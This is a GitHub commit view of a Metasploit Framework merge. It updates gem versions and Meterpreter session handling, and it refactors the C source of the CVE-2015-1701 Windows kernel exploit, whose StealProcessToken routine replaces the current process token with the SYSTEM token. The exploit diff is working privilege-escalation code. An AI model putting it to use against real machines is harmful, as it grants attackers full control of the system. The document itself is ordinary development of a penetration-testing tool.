Skip to content

Commit d9b6e46

Browse files
committed
Merge branch 'upstream/master' into android-java-transport-refactor
2 parents a8c2049 + 29a5194 commit d9b6e46

File tree

17 files changed

+651
-215
lines changed

17 files changed

+651
-215
lines changed

Gemfile.lock

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -124,7 +124,7 @@ GEM
124124
activesupport (>= 4.0.9, < 4.1.0)
125125
railties (>= 4.0.9, < 4.1.0)
126126
metasploit-payloads (1.0.3)
127-
metasploit_data_models (1.2.3)
127+
metasploit_data_models (1.2.5)
128128
activerecord (>= 4.0.9, < 4.1.0)
129129
activesupport (>= 4.0.9, < 4.1.0)
130130
arel-helpers
@@ -156,7 +156,7 @@ GEM
156156
coderay (~> 1.1.0)
157157
method_source (~> 0.8.1)
158158
slop (~> 3.4)
159-
rack (1.5.3)
159+
rack (1.5.5)
160160
rack-test (0.6.3)
161161
rack (>= 1.0)
162162
rails (4.0.13)
@@ -174,7 +174,7 @@ GEM
174174
thor (>= 0.18.1, < 2.0)
175175
rake (10.4.2)
176176
rb-readline-r7 (0.5.2.0)
177-
recog (2.0.5)
177+
recog (2.0.6)
178178
nokogiri
179179
redcarpet (3.2.3)
180180
rkelly-remix (0.0.6)
Binary file not shown.
Binary file not shown.

data/meterpreter/ext_server_android.jar

Whitespace-only changes.

external/source/exploits/cve-2015-1701/cve-2015-1701/cve-2015-1701.c

Lines changed: 76 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,14 @@
3535
#define HMUNIQSHIFT 16
3636

3737
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
38-
typedef NTSTATUS (NTAPI *pPLPBPI)(HANDLE ProcessId, PVOID *Process);
38+
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
39+
IN HANDLE ProcessId,
40+
OUT PVOID Process
41+
);
42+
43+
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
44+
_Inout_ PVOID Process
45+
);
3946

4047
typedef PVOID PHEAD;
4148

@@ -65,19 +72,13 @@ typedef struct _SHAREDINFO {
6572

6673
static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
6774

68-
pPLPBPI g_PsLookupProcessByProcessIdPtr = NULL;
75+
lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL;
76+
lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL;
6977
pUser32_ClientCopyImage g_originalCCI = NULL;
7078
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
7179
int g_shellCalled = 0;
7280
DWORD g_OurPID;
7381

74-
75-
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
76-
_Inout_ PVOID Process
77-
);
78-
79-
lPsReferencePrimaryToken pPsReferencePrimaryToken = NULL;
80-
8182
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
8283

8384
NTSTATUS NTAPI RtlGetVersion(
@@ -230,25 +231,15 @@ BOOLEAN supIsProcess32bit(
230231
return FALSE;
231232
}
232233

233-
/*
234-
* GetPsLookupProcessByProcessId
235-
*
236-
* Purpose:
237-
*
238-
* Return address of PsLookupProcessByProcessId routine to be used next by shellcode.
239-
*
240-
*/
241-
ULONG_PTR GetPsLookupProcessByProcessId(
242-
VOID
243-
)
234+
BOOL GetShellCodeFunctions(VOID)
244235
{
245236
BOOL cond = FALSE;
246237
ULONG rl = 0;
247238
PVOID MappedKernel = NULL;
248239
ULONG_PTR KernelBase = 0L, FuncAddress = 0L;
249240
PRTL_PROCESS_MODULES miSpace = NULL;
250241
CHAR KernelFullPathName[MAX_PATH * 2];
251-
242+
BOOL bSuccess = FALSE;
252243

253244
do {
254245

@@ -278,12 +269,12 @@ ULONG_PTR GetPsLookupProcessByProcessId(
278269
break;
279270
}
280271

281-
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
282-
pPsReferencePrimaryToken = (lPsReferencePrimaryToken)((DWORD_PTR)KernelBase + ((DWORD_PTR)pPsReferencePrimaryToken - (DWORD_PTR)MappedKernel));
283-
284272
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
285-
FuncAddress = KernelBase + FuncAddress - (ULONG_PTR)MappedKernel;
273+
g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
286274

275+
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
276+
g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
277+
bSuccess = TRUE;
287278
} while (cond);
288279

289280
if (MappedKernel != NULL) {
@@ -293,7 +284,39 @@ ULONG_PTR GetPsLookupProcessByProcessId(
293284
HeapFree(GetProcessHeap(), 0, miSpace);
294285
}
295286

296-
return FuncAddress;
287+
return bSuccess;
288+
}
289+
290+
PSHAREDINFO GetSharedInfo(VOID) {
291+
HMODULE huser32;
292+
PSHAREDINFO pSharedInfo = NULL;
293+
DWORD dwCursor = 0;
294+
295+
huser32 = GetModuleHandle(TEXT("user32.dll"));
296+
if (huser32 == NULL)
297+
return pSharedInfo;
298+
299+
pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo"));
300+
301+
#ifndef _M_X64
302+
PVOID pUser32InitializeImmEntryTable;
303+
304+
/* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
305+
if (pSharedInfo != NULL)
306+
return pSharedInfo;
307+
308+
pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable"));
309+
310+
for (dwCursor = 0; dwCursor < 0x80; dwCursor++) {
311+
if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 )
312+
continue;
313+
if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68)
314+
continue;
315+
return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2));
316+
}
317+
#endif
318+
319+
return pSharedInfo;
297320
}
298321

299322
/*
@@ -304,28 +327,22 @@ ULONG_PTR GetPsLookupProcessByProcessId(
304327
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
305328
*
306329
*/
307-
HWND GetFirstThreadHWND(
308-
VOID
309-
)
330+
HWND GetFirstThreadHWND(VOID)
310331
{
311332
PSHAREDINFO pse;
312-
HMODULE huser32;
313333
PHANDLEENTRY List;
314334
ULONG_PTR c, k;
315335

316-
huser32 = GetModuleHandle(TEXT("user32.dll"));
317-
if (huser32 == NULL)
318-
return 0;
319-
320-
pse = (PSHAREDINFO)GetProcAddress(huser32, "gSharedInfo");
321-
if (pse == NULL)
336+
pse = GetSharedInfo();
337+
if (pse == NULL) {
322338
return 0;
339+
}
323340

324341
List = pse->aheList;
325342
k = pse->psi->cHandleEntries;
326343

327-
if (pse->HeEntrySize != sizeof(HANDLEENTRY))
328-
return 0;
344+
//if (pse->HeEntrySize != sizeof(HANDLEENTRY))
345+
//return 0;
329346

330347
//
331348
// Locate, convert and return hwnd for current thread.
@@ -334,12 +351,11 @@ HWND GetFirstThreadHWND(
334351
if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
335352
return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
336353
}
337-
338354
return 0;
339355
}
340356

341357
// Search the specified data structure for a member with CurrentValue.
342-
BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
358+
BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
343359
{
344360
DWORD_PTR dwIndex, dwMask;
345361

@@ -376,29 +392,25 @@ BOOL find_and_replace_member(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue,
376392
* Copy system token to current process object.
377393
*
378394
*/
379-
NTSTATUS NTAPI StealProcessToken(
380-
VOID
381-
)
395+
NTSTATUS NTAPI StealProcessToken(VOID)
382396
{
383-
NTSTATUS Status;
384-
PVOID CurrentProcess = NULL;
385-
PVOID SystemProcess = NULL;
386-
387-
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)g_OurPID, &CurrentProcess);
388-
if (NT_SUCCESS(Status)) {
389-
Status = g_PsLookupProcessByProcessIdPtr((HANDLE)4, &SystemProcess);
390-
if (NT_SUCCESS(Status)) {
391-
PACCESS_TOKEN targetToken = pPsReferencePrimaryToken(CurrentProcess);
392-
PACCESS_TOKEN systemToken = pPsReferencePrimaryToken(SystemProcess);
393-
394-
// Find the token in the target process, and replace with the system token.
395-
find_and_replace_member((PDWORD_PTR)CurrentProcess,
396-
(DWORD_PTR)targetToken,
397-
(DWORD_PTR)systemToken,
398-
0x200);
399-
}
400-
}
401-
return Status;
397+
void *pMyProcessInfo = NULL;
398+
void *pSystemInfo = NULL;
399+
PACCESS_TOKEN systemToken;
400+
PACCESS_TOKEN targetToken;
401+
402+
g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo);
403+
g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
404+
405+
targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo);
406+
systemToken = g_pPsReferencePrimaryToken(pSystemInfo);
407+
408+
// Find the token in the target process, and replace with the system token.
409+
FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo,
410+
(DWORD_PTR)targetToken,
411+
(DWORD_PTR)systemToken,
412+
0x200);
413+
return 0;
402414
}
403415

404416

@@ -476,9 +488,9 @@ void win32k_client_copy_image(LPVOID lpPayload)
476488
}
477489

478490
g_OurPID = GetCurrentProcessId();
479-
g_PsLookupProcessByProcessIdPtr = (PVOID)GetPsLookupProcessByProcessId();
491+
GetShellCodeFunctions();
480492

481-
if (g_PsLookupProcessByProcessIdPtr == NULL) {
493+
if (g_pPsLookupProcessByProcessId == NULL) {
482494
return;
483495
}
484496

lib/msf/base/sessions/meterpreter.rb

Lines changed: 15 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -319,25 +319,28 @@ def is_valid_session?(timeout=10)
319319
false
320320
end
321321

322+
def update_session_info
323+
username = self.sys.config.getuid
324+
sysinfo = self.sys.config.sysinfo
325+
326+
safe_info = "#{username} @ #{sysinfo['Computer']}"
327+
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
328+
# Should probably be using Rex::Text.ascii_safe_hex but leave
329+
# this as is for now since "\xNN" is arguably uglier than "_"
330+
# showing up in various places in the UI.
331+
safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
332+
self.info = safe_info
333+
end
334+
322335
#
323336
# Populate the session information.
324337
#
325338
# Also reports a session_fingerprint note for host os normalization.
326339
#
327-
def load_session_info()
340+
def load_session_info
328341
begin
329342
::Timeout.timeout(60) do
330-
# Gather username/system information
331-
username = self.sys.config.getuid
332-
sysinfo = self.sys.config.sysinfo
333-
334-
safe_info = "#{username} @ #{sysinfo['Computer']}"
335-
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)
336-
# Should probably be using Rex::Text.ascii_safe_hex but leave
337-
# this as is for now since "\xNN" is arguably uglier than "_"
338-
# showing up in various places in the UI.
339-
safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
340-
self.info = safe_info
343+
update_session_info
341344

342345
hobj = nil
343346

lib/msf/base/sessions/meterpreter_android.rb

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,13 @@ def initialize(rstream, opts={})
1919
self.platform = 'java/android'
2020
end
2121

22+
def load_android
23+
original = console.disable_output
24+
console.disable_output = true
25+
console.run_single('load android')
26+
console.disable_output = original
27+
end
28+
2229
end
2330

2431
end

lib/msf/base/sessions/meterpreter_options.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ def initialize(info = {})
1313
[
1414
OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]),
1515
OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]),
16-
OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 10]),
16+
OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]),
1717
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
1818
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
1919
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
@@ -65,6 +65,12 @@ def on_session(session)
6565
end
6666
end
6767

68+
if session.platform =~ /android/i
69+
if datastore['AutoLoadAndroid']
70+
session.load_android
71+
end
72+
end
73+
6874
[ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key|
6975
if (datastore[key].empty? == false)
7076
args = Shellwords.shellwords( datastore[key] )

lib/msf/core/db_manager/web.rb

Lines changed: 9 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -142,8 +142,16 @@ def report_web_page(opts)
142142
page.cookie = opts[:cookie] if opts[:cookie]
143143
page.auth = opts[:auth] if opts[:auth]
144144
page.mtime = opts[:mtime] if opts[:mtime]
145-
page.ctype = opts[:ctype] if opts[:ctype]
145+
146+
147+
if opts[:ctype].blank? || opts[:ctype] == [""]
148+
page.ctype = ""
149+
else
150+
page.ctype = opts[:ctype]
151+
end
152+
146153
page.location = opts[:location] if opts[:location]
154+
147155
msf_import_timestamps(opts, page)
148156
page.save!
149157

lib/rex/json_hash_file.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,6 @@ def initialize(path)
1616
@lock = Mutex.new
1717
@hash = {}
1818
@last = 0
19-
::FileUtils.mkdir_p(::File.dirname(path))
20-
synced_update
2119
end
2220

2321
def [](k)
@@ -53,6 +51,7 @@ def clear
5351
# Save the file, but prevent thread & process contention
5452
def synced_update(&block)
5553
@lock.synchronize do
54+
::FileUtils.mkdir_p(::File.dirname(path))
5655
::File.open(path, ::File::RDWR|::File::CREAT) do |fd|
5756
fd.flock(::File::LOCK_EX)
5857

@@ -81,7 +80,6 @@ def synced_update(&block)
8180
end
8281
end
8382

84-
8583
def parse_data(data)
8684
return {} if data.to_s.strip.length == 0
8785
begin

0 commit comments

Comments
 (0)